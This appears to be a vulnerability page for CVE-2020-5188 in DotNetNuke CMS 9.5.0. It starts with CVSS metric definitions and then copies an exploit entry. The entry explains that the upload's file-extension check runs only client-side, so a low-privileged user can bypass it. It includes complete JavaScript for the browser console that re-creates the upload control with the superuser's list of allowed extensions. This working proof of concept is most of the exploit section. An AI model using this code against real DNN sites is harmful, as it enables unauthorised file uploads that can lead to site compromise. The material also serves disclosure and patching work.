The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: DotNetNuke CMS 9.5.0 File Extension Check Bypass
# Exploit Title: File upload vulnerability through bypassing client-side file extension check
# Date: 23 Feb 2020
# Exploit Author: Sajjad Pourali
# Vendor Homepage: http://dnnsoftware.com/
# Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip
# Version: => 9.5
# CVE : CVE-2020-5188
# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175
The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl, xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv.
As a normal user you are allowed to upload files with bmp,gif,ico,jpeg,jpg,jpe,png,svg extensions. The same file upload module used for superuser is reused for normal users with extra validation for a few additional extensions e.g. CSS extension is not allowed.
Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can bypass the client-side validation and upload files with extensions which are allowed only for superuser only.
For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by executing the following code on a browsers console (in the tab that manages profiles page has opened). This attack may also be performed using proxy tools such as Burp, ZAP etc.
dnn.createFileUpload({
"clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl",
"moduleId": "",
"parentClientId": null,
"showOnStartup": true,
"folderPicker": {
"selectedItemCss": "selected-item",
"internalStateFieldId": null,
"disabled": false,
"selectItemDefaultText": "",
"initialState": {
"selectedItem": {
"key": "0",
"value": "My Folder"
}
},
"onSelectionChanged": []
},
"maxFileSize": 299892736,
"maxFiles": 0,
"extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate", "ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"],
"resources": {
"title": "Upload Files",
"decompressLabel": "Decompress Zip Files",
"uploadToFolderLabel": "Upload To:",
"dragAndDropAreaTitle": "Drag files here or click to browse",
"uploadFileMethod": "Upload File",
"uploadFromWebMethod": "From URL",
"closeButtonText": "Close",
"uploadFromWebButtonText": "Upload",
"decompressingFile": "Decompressing File",
"fileIsTooLarge": "File size bigger than 286. Mb",
"fileUploadCancelled": "Upload cancelled",
"fileUploadFailed": "Upload failed",
"fileUploaded": "File uploaded",
"emptyFileUpload": "Your browser does not support empty file uploads.",
"fileAlreadyExists": "The file you want to upload already exists in this folder.",
"uploadStopped": "File upload stopped",
"urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png",
"keepButtonText": "Keep",
"replaceButtonText": "Replace",
"tooManyFiles": "You cannot upload more than {0} file(s) at once.",
"invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload. You can only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.",
"unzipFilePromptTitle": "Unzip Information",
"unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not extracted because their file types are not supported:</p>[FILELIST]</div>",
"unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted successfully.</p></div>",
"errorDialogTitle": "Error"
},
"width": 780,
"height": 630,
"folderPath": dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope.folder,
"parameters": {}
});